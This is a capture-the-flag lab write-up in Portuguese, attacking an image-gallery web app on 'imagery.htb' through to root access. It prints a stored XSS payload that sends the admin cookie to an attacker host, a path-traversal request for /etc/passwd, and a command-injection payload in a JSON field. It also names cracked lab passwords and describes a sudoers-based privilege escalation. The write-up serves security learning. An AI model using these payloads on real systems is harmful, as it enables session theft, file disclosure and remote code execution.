Máquina Linux Medium com aplicação Python/Werkzeug de upload de imagens. Stored XSS no formulário de bug report para roubar o cookie do admin, LFI no painel administrativo para exfiltrar o source code, command injection no endpoint de transformação de imagem para foothold. Lateral movement via cracking de backup AES e privesc via
sudono backup managercharcol.
Recon
rustscan -a imagery.htb -- -sV
| Porta | Serviço | Versão |
|---|---|---|
| 22/tcp | SSH | OpenSSH 9.7p1 Ubuntu |
| 8000/tcp | HTTP | Werkzeug 3.1.3 / Python 3.12.7 |
A porta 8000 serve a “Image Gallery”, uma aplicação de upload e organização de imagens. O HTML da landing já entrega o frontend inteiro num único bundle inline.
Lendo o JavaScript embutido encontrei todas as rotas, incluindo o painel admin (/admin/bug_reports, /admin/get_system_log, /admin/users) e o endpoint de edição /apply_visual_transform. Dois detalhes saltaram: o template do admin renderiza ${report.details} direto no innerHTML sem passar pelo DOMPurify.sanitize() usado nos outros campos, e o endpoint de logs concatena um parâmetro controlado pelo usuário num path de arquivo.
Foothold
Stored XSS to steal the admin cookie
A conta admin@imagery.htb é evidente mas o login tem lockout após poucas tentativas. Em vez de brute force, abusei do XSS: o campo bugDetails do formulário /report_bug é renderizado sem sanitização no painel que o admin abre.
<img src=x onerror='new Image().src="http://<ATTACKER_IP>:9001/?c=" + document.cookie'>
A aplicação confirma o cookie do admin não ser HttpOnly (SESSION_COOKIE_HTTPONLY = False no source), então document.cookie é legível. O bot do admin só revisa os reports depois de atividade na galeria, então fiz um upload de imagem para destravar a fila. Segundos depois o cookie chegou no meu listener.
Com o cookie, auth_status confirma isAdmin: true.
LFI in the admin panel to exfiltrate the source
Autenticado como admin, o endpoint /admin/get_system_log?log_identifier= é vulnerável a path traversal — o valor é concatenado num path sem sanitização:
curl "http://imagery.htb:8000/admin/get_system_log?log_identifier=../../../../etc/passwd" -b "session=<ADMIN_SESSION>"
O /etc/passwd revelou os usuários web (dono da app) e mark.
A partir daí exfiltrei o backend inteiro a partir de /home/web/web/: app.py, config.py e os blueprints api_* — incluindo rotas que não apareceriam em fuzzing.
O db.json traz os usuários da aplicação com senhas em MD5:
O hash MD5 do testuser sai da wordlist rockyou.txt (hashcat modo 0):
Command injection in /apply_visual_transform
O source mostra exatamente porque o endpoint é explorável — o parâmetro width entra numa string passada a subprocess.run(..., shell=True):
width = str(params.get('width'))
command = f"{IMAGEMAGICK_CONVERT_PATH} {original_filepath} -crop {width}x{height}+{x}+{y} {output_filepath}"
subprocess.run(command, capture_output=True, text=True, shell=True, check=True)
O endpoint exige is_testuser_account na sessão e que a imagem pertença ao usuário. Logado como testuser, fiz upload de uma imagem para obter um imageId válido e injetei no width:
curl -X POST "http://imagery.htb:8000/apply_visual_transform" -H "Content-Type: application/json" -H "Cookie: session=<TESTUSER_SESSION>" -d '{"imageId":"<UUID>","transformType":"crop","params":{"x":0,"y":0,"width":"1; <command> #","height":1}}'
A injeção executa como o usuário web, dono da aplicação.
Lateral Movement
O usuário web não tem a flag de user — ela pertence ao mark. Em /var/backup/ havia um backup antigo criptografado com pyAesCrypt:
/var/backup/web_20250806_120723.zip.aes
O backup está em formato AES Crypt (header AES\x02, gerado por pyAesCrypt 6.1.1) — quebrável no modo 22400 do hashcat. Extraí o hash com aescrypt2hashcat.pl e quebrei com a wordlist rockyou.txt: a senha é bestfriends. O zip decriptado guardava uma versão anterior do db.json, com o hash MD5 do mark — que também sai do rockyou.txt (supersmash):
O SSH só aceita publickey, então virei mark via su (senha supersmash) e adicionei a minha chave ao authorized_keys para um acesso estável. A flag de user está em /home/mark/user.txt.
Privilege Escalation
mark pode rodar o backup manager charcol como root sem senha:
O charcol tem um shell interativo protegido por uma master passphrase, mas a flag -R reseta a aplicação para “no password mode” mediante verificação da senha do sistema (a do próprio mark, supersmash):
sudo charcol -R
Com o shell acessível, o subcomando auto add agenda um cron job — e o próprio help avisa que não valida o comando. Como o charcol roda como root, o comando agendado executa como root:
Um SUID bash não funcionaria porque /tmp está montado nosuid; escrever um arquivo em /etc/sudoers.d/ contorna isso. Após o cron disparar, mark tem sudo total e a flag de root sai em /root/root.txt.
Lessons Learned
- O JS da aplicação revelou rotas
api_*e o painel admin inteiro. Ler o bundle é mais rápido que fuzzing. - Lockout no login não protege contra XSS no formulário de suporte — o admin abre os reports com sessão válida, e
SESSION_COOKIE_HTTPONLY = Falseentrega o cookie. - LFI como amplificador: com o source em mãos, o command injection no
widthficou trivial de localizar (shell=True+ f-string). pyAesCryptcom senha derockyou.txté vetor clássico de lateral movement — extrair comaescrypt2hashcat.pl, quebrar no modo22400.- Qualquer binário sudo que aceite comando arbitrário e rode como root é privesc. Aqui o
auto adddocharcolagenda cron sem validar o comando; com/tmpemnosuid, escrever um sudoers é o caminho mais limpo.
Impact
- Um serviço de hospedagem de imagens vive da confidencialidade do acervo dos clientes; aqui o atacante alcança todo o conteúdo armazenado, além dos dados e hashes de credenciais dos usuários.
- A exfiltração do código-fonte e dos backups expõe a propriedade intelectual da aplicação e reabre as senhas dos usuários para reúso em outros serviços.